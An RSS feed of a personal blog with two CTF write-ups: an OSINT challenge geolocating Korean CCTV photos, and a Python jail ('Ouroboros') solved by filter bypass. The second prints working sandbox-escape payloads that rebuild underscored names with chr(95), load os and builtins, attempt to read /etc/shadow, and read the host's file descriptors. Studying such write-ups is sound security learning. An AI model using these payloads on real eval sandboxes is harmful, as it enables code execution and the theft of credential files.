<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>BbayuGt&#39;s den</title>
    <link>https://bbayugt.kamo.my.id/</link>
    <description>Random stuff I made or yap about anything I want! :p</description>
    <pubDate>Sat, 17 Oct 2026 20:48:18 +0000</pubDate>
    <item>
      <title>Write Up JOINTSxINSPIRE CTF - OSINT - Korean Trip</title>
      <link>https://bbayugt.kamo.my.id/write-up-jointsxinspire-ctf-osint-korean-trip</link>
      <description>&lt;![CDATA[thumb&#xA;&#xA;Well, I thought I wasn&#39;t interested in CTF anymore because there will almost ALWAYS be people using agents that are better than you. But let&#39;s try again; they say that current CTFs ban the use of agents; heck, some of them even ban thinking models too!&#xA;&#xA;I&#39;m not very good at CTFs, nor cyber security. Always have been, and always will be. But what I like in cyber competition is the puzzle. The feeling of solving puzzles, especially OSINT will always feel pretty good!&#xA;&#xA;Are these enough words for a blog post opening? Let&#39;s just get into it.&#xA;!--more--&#xA;The Challenge&#xA;&#xA;You are given 5 images from different photos. All of the images are random photos in Korea (as you&#39;ve read in the title), and one service that you can use. This is one of those QnA OSINT challenges, huh. Fun, I bet.&#xA;&#xA;Question 1&#xA;&#xA;Let&#39;s start at the first question:&#xA;&#xA;  Korean Trip - Retrace the Traveler&#39;s Journey&#xA;&#xA;Someone documented their Korean trip in five photos. Study the handout,&#xA;then answer each question to prove you retraced their steps.&#xA;&#xA;Notes:&#xA;  Names use lowercase words joined by underscores (e.g. someplacename).&#xA;  Capitalization and spaces vs underscores do not matter.&#xA;  One wrong answer ends the session -- just reconnect to try again.&#xA;&#xA;[1/7] Photo 1 - First Location&#xA;Our traveler is a massive fan of K-dramas and finally takes that&#xA;vacation, starting here. They want to reach the SECOND location on&#xA;the 16th of October at 2:56 PM. What bus number should they take at&#xA;the nearby station?  (digits only, e.g. 42)&#xA;  First Location&#xA;&#xA;Okay, so I&#39;ll need the first location. Ngl I couldn&#39;t read korean, so let&#39;s ask Gemini:&#xA;First Question Gemini&#xA;&#xA;Okay now I know 2 things:&#xA;It is facing Korea University (From the forward arrow)&#xA;It is behind Anam 5-way Intersection. (From the back arrow)&#xA;&#xA;Possible routes&#xA;&#xA;After looking around those routes, I found the place!&#xA;P1 Location&#xA;&#xA;Okay, now we need to find the bus route. Honestly, I have no idea how Gemini found this place, but it just said the route. I have no idea how, why, but it is correct&#xA;&#xA;Gemini?&#xA;&#xA;130 it is&#xA;&#xA;Second Question&#xA;&#xA;[2/7] Photo 2 - Second Location&#xA;What is the name of the place at the second location?&#xA;(format: placename)&#xA;  Second Location&#xA;&#xA;After asking gemini, it says that it is around Sindap Station&#xA;Sindap&#xA;&#xA;P2 Route&#xA;&#xA;I found the possible route; now I gotta look for the exact spot.&#xA;&#xA;After looking at Maps, I found it. It&#39;s an older photo, but the road layout is still there.&#xA;P2 Road Layout&#xA;&#xA;But what the hell does the question mean? placename? The road name? What does it mean?&#xA;&#xA;After asking for clarification from the problem setter, a thing came to mind. All of these photos are from CCTVs; maybe the CCTVs are public!&#xA;&#xA;I found this Seoul government website. It does have public CCTV footage. After looking around for a bit, I found it!&#xA;P2 CCTV&#xA;&#xA;After translating that Korean text, it&#39;s taeyangapartment!&#xA;&#xA;Question 3&#xA;&#xA;[3/7] Photo 2 - Second Location&#xA;After a bit of rest, the traveler goes sightseeing at 4 PM. They take&#xA;the number 721 bus for 5 stops, then hop into which station to&#xA;continue to the third destination?  (format: stationname)&#xA;  This question is pretty easy because it&#39;s simply one Gemini prompt away&#xA;&#xA;Gemini Answering Q3&#xA;&#xA;dongdaemunstation&#xA;&#xA;Question 4&#xA;&#xA;[4/7] Photo 3 - Third Location&#xA;What are the coordinates of the third destination, in the exact photo&#xA;taken?  Only the first two decimals need to be correct.&#xA;(format: lat,long e.g. 12.34,-98.76)&#xA;  Third Location&#xA;&#xA;The third location is also very easy to find, doesn&#39;t really need to use AI at all, it&#39;s all over Google. Although I was a bit confused about why the coordinate doesn&#39;t work, the problem setter quickly fixed it.&#xA;&#xA;37.557,126.993&#xA;&#xA;Question 5&#xA;&#xA;[5/7] Photo 3 - Third Location&#xA;After walking around a bit, they get thirsty, so they stop at a cafe&#xA;right outside the third destination. What is the name of the cafe?&#xA;(format: thecafename)&#xA;  Just right outside, there&#39;s a cafe, weird name but fine&#xA;&#xA;Twosome?&#xA;&#xA;twosomeplace&#xA;&#xA;Question 6&#xA;&#xA;[6/7] Photo 4 - Fourth Location&#xA;The following day, riding the KTX train, the traveler arrives at the&#xA;fourth destination. What is the name of this place?&#xA;(format: placename)&#xA;  Fourth Location&#xA;&#xA;Gemini just says it&#xA;&#xA;Gemini Jeonju&#xA;&#xA;jeonjustation&#xA;&#xA;Question 7&#xA;[7/7] Photo 5 - Fifth Location&#xA;At the fifth destination, after wandering the city&#39;s most famous&#xA;tourist spot, they walk a while and turn back to look at the view --&#xA;but that is not the final stop. The final destination is still ahead.&#xA;What is it?  (format: place_name)&#xA;  Fifth Location&#xA;&#xA;I found this Instagram post when reverse searching the image, so I know that this is, in fact, still in Jeonju.&#xA;&#xA;Instagram&#xA;&#xA;  Apparently this is a K-Drama shooting place, but idk at the time so I&#39;m kinda blind&#xA;&#xA;Rainbolt mode&#xA;&#xA;Because the sun is in the photos, I know that this photo is facing east/west. Let&#39;s find the exact river there&#xA;&#xA;So because it&#39;s facing east or west, I deduced the entire area into this stream:&#xA;&#xA;P5 Probable&#xA;&#xA;Looking at the drone view added to the Google Street View, I found the place&#xA;&#xA;P5 1&#xA;P5 2&#xA;&#xA;After trying some names, the one I found is hanbyeokgul.&#xA;&#xA;Afterthought&#xA;&#xA;This was a fun challenge, and we got first blood too (thanks, sumbul)!&#xA;I really liked this kind of OSINT challenge&#xA;&#xA;  This website does not use cookie because I don&#39;t care about your data.]]&gt;</description>
      <content:encoded><![CDATA[<p><img src="https://media1.tenor.com/m/6ryMHnwFZ6UAAAAd/geo-anthony.gif" alt="thumb"></p>

<p>Well, I thought I wasn&#39;t interested in CTF anymore because there will almost ALWAYS be people using agents that are better than you. But let&#39;s try again; they say that current CTFs ban the use of agents; heck, some of them even ban thinking models too!</p>

<p>I&#39;m not very good at CTFs, nor cyber security. Always have been, and always will be. But what I like in cyber competition is the puzzle. The feeling of solving puzzles, especially OSINT will always feel pretty good!</p>

<p>Are these enough words for a blog post opening? Let&#39;s just get into it.
</p>

<h2 id="the-challenge">The Challenge</h2>

<p>You are given 5 images from different photos. All of the images are random photos in Korea (as you&#39;ve read in the title), and one service that you can use. This is one of those QnA OSINT challenges, huh. Fun, I bet.</p>

<h2 id="question-1">Question 1</h2>

<p>Let&#39;s start at the first question:</p>

<pre><code>===============================================
  Korean Trip - Retrace the Traveler&#39;s Journey
===============================================
Someone documented their Korean trip in five photos. Study the handout,
then answer each question to prove you retraced their steps.

Notes:
  - Names use lowercase words joined by underscores (e.g. some_place_name).
  - Capitalization and spaces vs underscores do not matter.
  - One wrong answer ends the session -- just reconnect to try again.


[1/7] Photo 1 - First Location
Our traveler is a massive fan of K-dramas and finally takes that
vacation, starting here. They want to reach the SECOND location on
the 16th of October at 2:56 PM. What bus number should they take at
the nearby station?  (digits only, e.g. 42)
&gt;
</code></pre>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/First%20Location.jpeg" alt="First Location"></p>

<p>Okay, so I&#39;ll need the first location. Ngl I couldn&#39;t read korean, so let&#39;s ask Gemini:
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Gemini-1.png" alt="First Question Gemini"></p>

<p>Okay now I know 2 things:
* It is facing Korea University (From the forward arrow)
* It is behind Anam 5-way Intersection. (From the back arrow)</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Possible-P1-Route.png" alt="Possible routes"></p>

<p>After looking around those routes, I found the place!
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P1-Signs.png" alt="P1 Location"></p>

<p>Okay, now we need to find the bus route. Honestly, I have no idea how Gemini found this place, but it just said the route. I have no idea how, why, but it is correct</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/How.png" alt="Gemini?"></p>

<p>130 it is</p>

<h2 id="second-question">Second Question</h2>

<pre><code>[2/7] Photo 2 - Second Location
What is the name of the place at the second location?
(format: place_name)
&gt;
</code></pre>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Second%20Location.jpeg" alt="Second Location"></p>

<p>After asking gemini, it says that it is around Sindap Station
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P2%20sindap.jpg" alt="Sindap"></p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P2%20Route.png" alt="P2 Route"></p>

<p>I found the possible route; now I gotta look for the exact spot.</p>

<p>After looking at Maps, I found it. It&#39;s an older photo, but the road layout is still there.
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P2-Layout.png" alt="P2 Road Layout"></p>

<p>But what the hell does the question mean? place_name? The road name? What does it mean?</p>

<p>After asking for clarification from the problem setter, a thing came to mind. All of these photos are from CCTVs; maybe the CCTVs are public!</p>

<p>I found <a href="https://topis.seoul.go.kr/map/openCctvMap.do">this Seoul government website</a>. It does have public CCTV footage. After looking around for a bit, I found it!
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P2%20CCTV.png" alt="P2 CCTV"></p>

<p>After translating that Korean text, it&#39;s <code>taeyang_apartment</code>!</p>

<h2 id="question-3">Question 3</h2>

<pre><code>[3/7] Photo 2 - Second Location
After a bit of rest, the traveler goes sightseeing at 4 PM. They take
the number 721 bus for 5 stops, then hop into which station to
continue to the third destination?  (format: station_name)
&gt;
</code></pre>

<p>This question is pretty easy because it&#39;s simply one Gemini prompt away</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Q3.png" alt="Gemini Answering Q3"></p>

<p><code>dongdaemun_station</code></p>

<h2 id="question-4">Question 4</h2>

<pre><code>[4/7] Photo 3 - Third Location
What are the coordinates of the third destination, in the exact photo
taken?  Only the first two decimals need to be correct.
(format: lat,long e.g. 12.34,-98.76)
&gt;
</code></pre>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Third%20Location.jpeg" alt="Third Location"></p>

<p>The third location is also very easy to find, doesn&#39;t really need to use AI at all, it&#39;s all over Google. Although I was a bit confused about why the coordinate doesn&#39;t work, the problem setter quickly fixed it.</p>

<p><code>37.557,126.993</code></p>

<h2 id="question-5">Question 5</h2>

<pre><code>[5/7] Photo 3 - Third Location
After walking around a bit, they get thirsty, so they stop at a cafe
right outside the third destination. What is the name of the cafe?
(format: the_cafe_name)
&gt;
</code></pre>

<p>Just right outside, there&#39;s a cafe, weird name but fine</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Twosome.png" alt="Twosome?"></p>

<p><code>twosome_place</code></p>

<h2 id="question-6">Question 6</h2>

<pre><code>[6/7] Photo 4 - Fourth Location
The following day, riding the KTX train, the traveler arrives at the
fourth destination. What is the name of this place?
(format: place_name)
&gt;
</code></pre>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Fourth%20Location.jpeg" alt="Fourth Location"></p>

<p>Gemini just says it</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Gemini-jeonju.png" alt="Gemini Jeonju"></p>

<p><code>jeonju_station</code></p>

<h2 id="question-7">Question 7</h2>

<pre><code>[7/7] Photo 5 - Fifth Location
At the fifth destination, after wandering the city&#39;s most famous
tourist spot, they walk a while and turn back to look at the view --
but that is not the final stop. The final destination is still ahead.
What is it?  (format: place_name)
&gt;
</code></pre>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Fifth%20Location.jpeg" alt="Fifth Location"></p>

<p>I found this Instagram post when reverse searching the image, so I know that this is, in fact, still in Jeonju.</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/Instagram.png" alt="Instagram"></p>

<blockquote><p>Apparently this is a K-Drama shooting place, but idk at the time so I&#39;m kinda blind</p></blockquote>

<h3 id="rainbolt-mode">Rainbolt mode</h3>

<p>Because the sun is in the photos, I know that this photo is facing east/west. Let&#39;s find the exact river there</p>

<p>So because it&#39;s facing east or west, I deduced the entire area into this stream:</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P5%20Probable.png" alt="P5 Probable"></p>

<p>Looking at the drone view added to the Google Street View, I found the place</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P5%20Point-1.png" alt="P5 1">
<img src="https://file.kamo.my.id/bbayugt/blogs/2026/9/b2ghse0ad1/P5%20Point-2.png" alt="P5 2"></p>

<p>After trying some names, the one I found is <code>hanbyeokgul</code>.</p>

<h2 id="afterthought">Afterthought</h2>

<p>This was a fun challenge, and we got first blood too (thanks, sumbul)!
I really liked this kind of OSINT challenge</p>

<blockquote><p>This website does <strong>not</strong> use cookie because I don&#39;t care about your data.</p></blockquote>
]]></content:encoded>
      <guid>https://bbayugt.kamo.my.id/write-up-jointsxinspire-ctf-osint-korean-trip</guid>
      <pubDate>Wed, 30 Sep 2026 03:12:14 +0000</pubDate>
    </item>
    <item>
      <title>Write-up GEMASTIK 19 - Ouroboros, black-box Python filter bypass</title>
      <link>https://bbayugt.kamo.my.id/write-up-gemastik-19-ouroboros-black-box-python-filter-bypass</link>
      <description>&lt;![CDATA[Thumbnail&#xA;&#xA;Challenge Description: Send Python and it runs. Something reads how you wrote it first.&#xA;Points: 495&#xA;&#xA;!--more--&#xA;&#xA;Black Box? Aww man :(&#xA;&#xA;So, we&#39;re given a CLI app. From the challenge description, I assume (from the description of the challenges) this was a Python app; just typing some text like 1 and 1+1, it just returns OK, not an output. Interesting...&#xA;&#xA;1+1&#xA;&#xA;The first thing I did was test for eval, print, and other normal stuff you do on this kind of challenge.&#xA;&#xA;Eval testing&#xA;&#xA;It results in a NameError, interesting, so most, or even all, built-in functions are probably disabled!&#xA;&#xA;I assume this is some kind of command injection or a way to break out of eval, so I went straight to PayloadAllTheThings and checked out their SSTI Python template; it&#39;s not an SSTI challenge, but I bet it&#39;ll work here.&#xA;&#xA;PATT&#xA;&#xA;So I tried the universal one&#xA;&#xA;include(&#34;os&#34;).popen(&#34;id&#34;).read()&#xA;&#xA;Heh, I bet this challenge is that easy :p&#xA;&#xA;It isn&#39;t.&#xA;&#xA;Rejected&#xA;&#xA;Aww, this one sucks, but which character is being blocked, though?&#xA;&#xA;So I tested and tested, and I finally found that the problem is in the &#34;&#34; character! Nothing else! So I just need to bypass it, then read the flag, right?&#xA;&#xA;So I came up with this:&#xA;&#xA;      getattr(getattr(getattr(getattr((), chr(95)2+&#34;class&#34;+chr(95)2), chr(95)2+&#34;base&#34;+chr(95)2), chr(95)2+&#34;subclasses&#34;+chr(95)2)()[84], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;os&#34;)&#xA;module &#39;os&#39; (built-in)&#xA;&#xA;Okay... After some time of work, I bet this&#39;ll immediately work, right?&#xA;&#xA;B-but it works on my machine :(&#xA;&#xA;Attribute Error&#xA;&#xA;Of course it doesn&#39;t; I know why, it&#39;s because of a version mismatch. I bet the Python used on the server isn&#39;t the same as the one on my machine&#xA;&#xA;You know what they say, if it ain&#39;t broke, break it. I found this Write-Up from Hack.lu CTF 2023, in one of the steps there, the creator says that he can break the eval filter by using a Unicode bypass&#xA;&#xA;Unicode bypass&#xA;&#xA;So I just stole it and tried it myself&#xA;&#xA;  𝓹𝓻𝓲𝓷𝓽(&#34;𝓛𝔂𝓻𝓪&#34;)&#xA;Traceback (most recent call last):&#xA;  File &#34;/opt/ouroboros/jail.py&#34;, line 153, in module&#xA;  File &#34;/opt/ouroboros/jail.py&#34;, line 139, in serve&#xA;  File &#34;/opt/ouroboros/jail.py&#34;, line 87, in check&#xA;  File &#34;/usr/local/lib/python3.12/ast.py&#34;, line 52, in parse&#xA;ImportError: /usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x8664-linux-gnu.so: cannot open shared object file: Operation not permitted&#xA;&#xA;Welp, I guess I accidentally broke the challenge. But this led to new information: that the challenge is run on Python 3.12 (I&#39;m using 3.9). Well that&#39;s why.&#xA;&#xA;I assume that the problem setter used simple FROM python:3.12 on its Dockerfile, so I just did the same on my machine&#xA;&#xA;☁  ~  docker run -it --rm python:3.12 python3&#xA;Python 3.12.14 (main, Aug 13 2026, 19:41:20) [GCC 14.2.0] on linux&#xA;Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.&#xA;      getattr(getattr(getattr(getattr((), chr(95)2+&#34;class&#34;+chr(95)2), chr(95)2+&#34;base&#34;+chr(95)2), chr(95)2+&#34;subclasses&#34;+chr(95)2)()[120], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;os&#34;)&#xA;module &#39;os&#39; (built-in)&#xA;&#xA;Okay, on my machine it was 84, but on 3.12 it&#39;s 120, so I tried doing this on the server, and it works!&#xA;&#xA;Works&#xA;&#xA;Well, at least it&#39;s &#34;OK&#34;, not an error or rejected.&#xA;&#xA;Breaking away from the jail&#xA;&#xA;  Well Ill stop using too many images from here; I&#39;m too lazy to do it :p&#xA;&#xA;I updated my payload to:&#xA;&#xA;a = getattr(getattr(getattr(getattr((), chr(95)2+&#34;class&#34;+chr(95)2), chr(95)2+&#34;base&#34;+chr(95)2), chr(95)2+&#34;subclasses&#34;+chr(95)2)()[120], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;); b=a.open(&#34;/etc/shadow&#34;).read();print(b)&#xA;&#xA;It will try to open /etc/shadow, read it, and print it to the console (yes, I checked that print worked). But I got a PermissionError; I got a feeling that this user doesn&#39;t have read permission to any system files. So I thought, what if the flag isn&#39;t stored in a file, but in the host!&#xA;&#xA;I checked the hack.lu reference again, and found out that you can access the host variables by using the sys.getframe method, so I tested it locally&#xA;&#xA;      a = &#34;test&#34;&#xA;      eval(&#34;sys.getframe().fback.flocals&#34;)&#xA;{&#39;name&#39;: &#39;main&#39;, &#39;doc&#39;: None, &#39;package&#39;: None, &#39;loader&#39;: class &#39;frozenimportlib.BuiltinImporter&#39;, &#39;spec&#39;: None, &#39;annotations&#39;: {}, &#39;builtins&#39;: module &#39;builtins&#39; (built-in), &#39;sys&#39;: module &#39;sys&#39; (built-in), &#39;a&#39;: &#39;test&#39;}&#xA;      I modified it to check the host&#39;s variable, and list it&#xA;  a=getattr(getattr(getattr(getattr((),chr(95)2+&#34;class&#34;+chr(95)2),chr(95)2+&#34;base&#34;+chr(95)2),chr(95)2+&#34;subclasses&#34;+chr(95)2)()[120],&#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;);s=getattr(a,chr(95)2+&#34;import&#34;+chr(95)2)(&#34;sys&#34;);f=getattr(getattr(s,chr(95)+&#34;getframe&#34;)(),&#34;f&#34;+chr(95)+&#34;back&#34;);l=getattr(f,&#34;f&#34;+chr(95)+&#34;locals&#34;);a.print(getattr(l,&#34;keys&#34;)())&#xA;dictkeys([&#39;fda&#39;, &#39;fdb&#39;, &#39;ns&#39;, &#39;line&#39;, &#39;code&#39;, &#39;tree&#39;])&#xA;&#xA;      _           _&#xA;     /  \       | |/ /&#xA;    | | | |      | &#39; /&#xA;    | || |      | . \&#xA;     \_/       ||\\&#xA;&#xA;  Okay, so there are fd\a and fd\b variables, so I modified the payload to check those variables&#xA;&#xA;  a=getattr(getattr(getattr(getattr((),chr(95)2+&#34;class&#34;+chr(95)2),chr(95)2+&#34;base&#34;+chr(95)2),chr(95)2+&#34;subclasses&#34;+chr(95)2)()[120],&#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;);s=getattr(a,chr(95)2+&#34;import&#34;+chr(95)2)(&#34;sys&#34;);f=getattr(getattr(s,chr(95)+&#34;getframe&#34;)(),&#34;f&#34;+chr(95)+&#34;back&#34;);l=getattr(f,&#34;f&#34;+chr(95)+&#34;locals&#34;);o=getattr(a,chr(95)2+&#34;import&#34;+chr(95)2)(&#34;os&#34;);a.print(getattr(getattr(o,&#34;pread&#34;)(getattr(l,&#34;get&#34;)(&#34;fd&#34;+chr(95)+&#34;a&#34;),4096,0)+getattr(o,&#34;pread&#34;)(getattr(l,&#34;get&#34;)(&#34;fd&#34;+chr(95)+&#34;b&#34;),4096,0),&#34;decode&#34;)())&#xA;GEMASTIK19{tw0sk1ns0n3serp3ntr34dth3pre0p3n3dfd}&#xA;  __           _&#xA; /  \       | |/ /&#xA;| | | |      | &#39; /&#xA;| || |      | . \&#xA; \_/       ||\_\&#xA;&#xA;  Well, uh, something definitely could be improved. I spent way too much time finding the correct array; well, at least I got it&#xA;&#xA;  This website does not use cookie because I don&#39;t care about your data.]]&gt;</description>
      <content:encoded><![CDATA[<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/thumbnail.jpg" alt="Thumbnail"></p>

<p>Challenge Description: Send Python and it runs. Something reads how you wrote it first.
Points: 495</p>



<h2 id="black-box-aww-man">Black Box? Aww man :(</h2>

<p>So, we&#39;re given a CLI app. From the challenge description, I assume (from the description of the challenges) this was a Python app; just typing some text like 1 and 1+1, it just returns OK, not an output. Interesting...</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/testing.png" alt="1+1"></p>

<p>The first thing I did was test for eval, print, and other normal stuff you do on this kind of challenge.</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/eval.png" alt="Eval testing"></p>

<p>It results in a NameError, interesting, so most, or even all, built-in functions are probably disabled!</p>

<p>I assume this is some kind of command injection or a way to break out of eval, so I went straight to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md">PayloadAllTheThings</a> and checked out their SSTI Python template; it&#39;s not an SSTI challenge, but I bet it&#39;ll work here.</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/PayloadAllTheThings-Universal.png" alt="PATT"></p>

<p>So I tried the universal one</p>

<pre><code class="language-python">__include__(&#34;os&#34;).popen(&#34;id&#34;).read()
</code></pre>

<p>Heh, I bet this challenge is that easy :p</p>

<h2 id="it-isn-t">It isn&#39;t.</h2>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/rejected.png" alt="Rejected"></p>

<p>Aww, this one sucks, but which character is being blocked, though?</p>

<p>So I tested and tested, and I finally found that the problem is in the “_” character! Nothing else! So I just need to bypass it, then read the flag, right?</p>

<p>So I came up with this:</p>

<pre><code class="language-python">&gt;&gt;&gt; getattr(getattr(getattr(getattr((), chr(95)*2+&#34;class&#34;+chr(95)*2), chr(95)*2+&#34;base&#34;+chr(95)*2), chr(95)*2+&#34;subclasses&#34;+chr(95)*2)()[84], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;os&#34;)
&lt;module &#39;os&#39; (built-in)&gt;
</code></pre>

<p>Okay... After some time of work, I bet this&#39;ll immediately work, right?</p>

<h2 id="b-but-it-works-on-my-machine">B-but it works on my machine :(</h2>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/AttrError.png" alt="Attribute Error"></p>

<p>Of course it doesn&#39;t; I know why, it&#39;s because of a version mismatch. I bet the Python used on the server isn&#39;t the same as the one on my machine</p>

<p>You know what they say, if it ain&#39;t broke, break it. I found <a href="https://gist.github.com/rebane2001/a3734ecae4a05e3b85bafc1ae17ee864">this Write-Up</a> from Hack.lu CTF 2023, in one of the steps there, the creator says that he can break the eval filter by using a Unicode bypass</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/bypass.png" alt="Unicode bypass"></p>

<p>So I just stole it and tried it myself</p>

<pre><code class="language-python">&gt; 𝓹𝓻𝓲𝓷𝓽(&#34;𝓛𝔂𝓻𝓪&#34;)
Traceback (most recent call last):
  File &#34;/opt/ouroboros/jail.py&#34;, line 153, in &lt;module&gt;
  File &#34;/opt/ouroboros/jail.py&#34;, line 139, in serve
  File &#34;/opt/ouroboros/jail.py&#34;, line 87, in check
  File &#34;/usr/local/lib/python3.12/ast.py&#34;, line 52, in parse
ImportError: /usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-gnu.so: cannot open shared object file: Operation not permitted
</code></pre>

<p>Welp, I guess I accidentally broke the challenge. But this led to new information: that the challenge is run on Python 3.12 (I&#39;m using 3.9). Well that&#39;s why.</p>

<p>I assume that the problem setter used simple <code>FROM python:3.12</code> on its Dockerfile, so I just did the same on my machine</p>

<pre><code>☁  ~  docker run -it --rm python:3.12 python3
Python 3.12.14 (main, Aug 13 2026, 19:41:20) [GCC 14.2.0] on linux
Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
&gt;&gt;&gt; getattr(getattr(getattr(getattr((), chr(95)*2+&#34;class&#34;+chr(95)*2), chr(95)*2+&#34;base&#34;+chr(95)*2), chr(95)*2+&#34;subclasses&#34;+chr(95)*2)()[120], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;os&#34;)
&lt;module &#39;os&#39; (built-in)&gt;
</code></pre>

<p>Okay, on my machine it was 84, but on 3.12 it&#39;s 120, so I tried doing this on the server, and it works!</p>

<p><img src="https://file.kamo.my.id/bbayugt/blogs/2026/8/3ufqz839bq/Attempt-2.png" alt="Works"></p>

<p>Well, at least it&#39;s “OK”, not an error or rejected.</p>

<h2 id="breaking-away-from-the-jail">Breaking away from the jail</h2>

<blockquote><p>Well Ill stop using too many images from here; I&#39;m too lazy to do it :p</p></blockquote>

<p>I updated my payload to:</p>

<pre><code class="language-python">a = getattr(getattr(getattr(getattr((), chr(95)*2+&#34;class&#34;+chr(95)*2), chr(95)*2+&#34;base&#34;+chr(95)*2), chr(95)*2+&#34;subclasses&#34;+chr(95)*2)()[120], &#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;); b=a.open(&#34;/etc/shadow&#34;).read();print(b)
</code></pre>

<p>It will try to open /etc/shadow, read it, and print it to the console (yes, I checked that print worked). But I got a PermissionError; I got a feeling that this user doesn&#39;t have read permission to any system files. So I thought, what if the flag isn&#39;t stored in a file, but in the host!</p>

<p>I checked the hack.lu reference again, and found out that you can access the host variables by using the sys._getframe method, so I tested it locally</p>

<pre><code class="language-python">&gt;&gt;&gt; a = &#34;test&#34;
&gt;&gt;&gt; eval(&#34;sys._getframe().f_back.f_locals&#34;)
{&#39;__name__&#39;: &#39;__main__&#39;, &#39;__doc__&#39;: None, &#39;__package__&#39;: None, &#39;__loader__&#39;: &lt;class &#39;_frozen_importlib.BuiltinImporter&#39;&gt;, &#39;__spec__&#39;: None, &#39;__annotations__&#39;: {}, &#39;__builtins__&#39;: &lt;module &#39;builtins&#39; (built-in)&gt;, &#39;sys&#39;: &lt;module &#39;sys&#39; (built-in)&gt;, &#39;a&#39;: &#39;test&#39;}
&gt;&gt;&gt;
</code></pre>

<p>I modified it to check the host&#39;s variable, and list it</p>

<pre><code>&gt; a=getattr(getattr(getattr(getattr((),chr(95)*2+&#34;class&#34;+chr(95)*2),chr(95)*2+&#34;base&#34;+chr(95)*2),chr(95)*2+&#34;subclasses&#34;+chr(95)*2)()[120],&#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;);s=getattr(a,chr(95)*2+&#34;import&#34;+chr(95)*2)(&#34;sys&#34;);f=getattr(getattr(s,chr(95)+&#34;getframe&#34;)(),&#34;f&#34;+chr(95)+&#34;back&#34;);l=getattr(f,&#34;f&#34;+chr(95)+&#34;locals&#34;);a.print(getattr(l,&#34;keys&#34;)())
dict_keys([&#39;fd_a&#39;, &#39;fd_b&#39;, &#39;ns&#39;, &#39;line&#39;, &#39;code&#39;, &#39;tree&#39;])


      ___         _  __
     / _ \       | |/ /
    | | | |      | &#39; /
    | |_| |      | . \
     \___/       |_|\_\


&gt;
</code></pre>

<p>Okay, so there are fd_a and fd_b variables, so I modified the payload to check those variables</p>

<pre><code class="language-python">&gt; a=getattr(getattr(getattr(getattr((),chr(95)*2+&#34;class&#34;+chr(95)*2),chr(95)*2+&#34;base&#34;+chr(95)*2),chr(95)*2+&#34;subclasses&#34;+chr(95)*2)()[120],&#34;load&#34;+chr(95)+&#34;module&#34;)(&#34;builtins&#34;);s=getattr(a,chr(95)*2+&#34;import&#34;+chr(95)*2)(&#34;sys&#34;);f=getattr(getattr(s,chr(95)+&#34;getframe&#34;)(),&#34;f&#34;+chr(95)+&#34;back&#34;);l=getattr(f,&#34;f&#34;+chr(95)+&#34;locals&#34;);o=getattr(a,chr(95)*2+&#34;import&#34;+chr(95)*2)(&#34;os&#34;);a.print(getattr(getattr(o,&#34;pread&#34;)(getattr(l,&#34;get&#34;)(&#34;fd&#34;+chr(95)+&#34;a&#34;),4096,0)+getattr(o,&#34;pread&#34;)(getattr(l,&#34;get&#34;)(&#34;fd&#34;+chr(95)+&#34;b&#34;),4096,0),&#34;decode&#34;)())
GEMASTIK19{tw0_sk1ns_0n3_serp3nt_r34d_th3_pre0p3n3d_fd}
  ___         _  __
 / _ \       | |/ /
| | | |      | &#39; /
| |_| |      | . \
 \___/       |_|\_\



&gt;
</code></pre>

<p>Well, uh, something definitely could be improved. I spent way too much time finding the correct array; well, at least I got it</p>

